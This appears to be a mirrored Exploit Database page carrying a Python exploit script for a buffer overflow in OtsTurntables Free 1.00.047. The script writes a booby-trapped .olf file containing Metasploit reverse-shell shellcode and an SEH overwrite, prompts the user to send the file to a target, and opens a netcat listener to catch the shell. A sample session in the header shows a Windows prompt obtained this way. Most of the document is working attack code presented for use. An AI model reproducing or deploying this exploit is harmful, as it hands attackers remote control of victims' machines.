OtsTurntables Free 1.00.047 – ‘.olf’ Universal Buffer Overflow

Exploit Database
125 阅读

作者： mr_me

日期： 2010-02-16
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/11475/

100

101

102

103

#!/usr/bin/python

# ###################################################################

# OtsTurntables Free v1.00.047 (.olf) Universal Buffer Overflow Exploit

# Date: 14-01-2010

# Author: mr_me

# Software Link: http://www.otsturntables.com/download-otsturntables-free/

# Version: 1.00.047

# Tested on:Windows XP sp3

# Greetz: corelanc0d3r/jacky/eske/sinn3r/EdiStrosar/Rick2600/MarkoT/jnz

# bad chars: '\x00\x0a\xbd\x0d\x20'

# ** For educational purposes only **

# ####################################################################

# ~! I want to go back to the matrix !~

# mrme@backtrack:~$ ./0wnm3.py 4444 awsome-electro.olf

# [+] OtsTurntables Free v1.00.047 (olf file) BOF Exploit

# [+] Creating exploit file..

# [+] Writing 15000 bytes to awsome-electro.olf.. ph33r

# [+] Send awsome-electro.olf to your target

# [+] Waiting for a shell on port: 4444

# listening on [any] 4444 ...

# 192.168.2.19: inverse host lookup failed: Unknown server error : Connection timed out

# connect to [192.168.2.10] from (UNKNOWN) [192.168.2.19] 2624

# Microsoft Windows XP [Version 5.1.2600]

# C:\OtsLabs\Lists>

import sys, os

def banner():

print "|------------------------------------------------------------------|"

print "| __ __|"

print "| _________________/ /___ _____ / /________ _____ ___|"

print "|/ ___/ __ \/ ___/ _ \/ / __ <code>/ __ \ / __/ _ \/ __ </code>/ __ `__ \ |"

print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |"

print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|"

print "||"

print "|-------------------------------------------------[ EIP Hunters ]--|"

print "[+] OtsTurntables Free v1.00.047 (olf file) BOF Exploit"

if len(sys.argv) < 3:

banner()

print "[?] Usage: " + sys.argv[0] + " <port> <filename>"

sys.exit(1)

port = sys.argv[1]

filename = sys.argv[2]

# windows/shell_reverse_tcp - 310 bytes

# http://www.metasploit.com

# Encoder: x86/fnstenv_mov

# LHOST=192.168.2.10, EXITFUNC=seh, LPORT=4444

shell = ("\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x47\x4b"

"\x25\x9a\x83\xeb\xfc\xe2\xf4\xbb\x21\xce\xd7\xaf\xb2\xda\x65"

"\xb8\x2b\xae\xf6\x63\x6f\xae\xdf\x7b\xc0\x59\x9f\x3f\x4a\xca"

"\x11\x08\x53\xae\xc5\x67\x4a\xce\xd3\xcc\x7f\xae\x9b\xa9\x7a"

"\xe5\x03\xeb\xcf\xe5\xee\x40\x8a\xef\x97\x46\x89\xce\x6e\x7c"

"\x1f\x01\xb2\x32\xae\xae\xc5\x63\x4a\xce\xfc\xcc\x47\x6e\x11"

"\x18\x57\x24\x71\x44\x67\xae\x13\x2b\x6f\x39\xfb\x84\x7a\xfe"

"\xfe\xcc\x08\x15\x11\x07\x47\xae\xea\x5b\xe6\xae\xda\x4f\x15"

"\x4d\x14\x09\x45\xc9\xca\xb8\x9d\x43\xc9\x21\x23\x16\xa8\x2f"

"\x3c\x56\xa8\x18\x1f\xda\x4a\x2f\x80\xc8\x66\x7c\x1b\xda\x4c"

"\x18\xc2\xc0\xfc\xc6\xa6\x2d\x98\x12\x21\x27\x65\x97\x23\xfc"

"\x93\xb2\xe6\x72\x65\x91\x18\x76\xc9\x14\x08\x76\xd9\x14\xb4"

"\xf5\xf2\x87\xe3\x27\x90\x21\x23\x34\xc6\x21\x18\xac\x7b\xd2"

"\x23\xc9\x63\xed\x2b\x72\x65\x91\x21\x35\xcb\x12\xb4\xf5\xfc"

"\x2d\x2f\x43\xf2\x24\x26\x4f\xca\x1e\x62\xe9\x13\xa0\x21\x61"

"\x13\xa5\x7a\xe5\x69\xed\xde\xac\x67\xb9\x09\x08\x64\x05\x67"

"\xa8\xe0\x7f\xe0\x8e\x31\x2f\x39\xdb\x29\x51\xb4\x50\xb2\xb8"

"\x9d\x7e\xcd\x15\x1a\x74\xcb\x2d\x4a\x74\xcb\x12\x1a\xda\x4a"

"\x2f\xe6\xfc\x9f\x89\x18\xda\x4c\x2d\xb4\xda\xad\xb8\x9b\x4d"

"\x7d\x3e\x8d\x5c\x65\x32\x4f\xda\x4c\xb8\x3c\xd9\x65\x97\x23"

"\xd5\x10\x43\x14\x76\x65\x91\xb4\xf5\x9a");

exploit = "\x41" * 900

exploit += "\xeb\x06\x90\x90"

exploit += "\x46\x79\x23\x01" # CALL DWORD PTR SS:[ESP+2c]

exploit += "\x90" * 30

exploit += shell

exploit += "\x41" * (15000-len(exploit))

banner()

try:

print "[+] Creating exploit file.."

print "[+] Writing",len(exploit),"bytes to " + filename + ".. ph33r"

print "[+] Send " + filename + " to your target"

turntable = open(filename,'w');

turntable.write(exploit);

turntable.close();

print "[+] Waiting for a shell on port: " + port

os.system('nc -lvp ' + port)

except:

print "[-] Error: You do not have correct permissions.."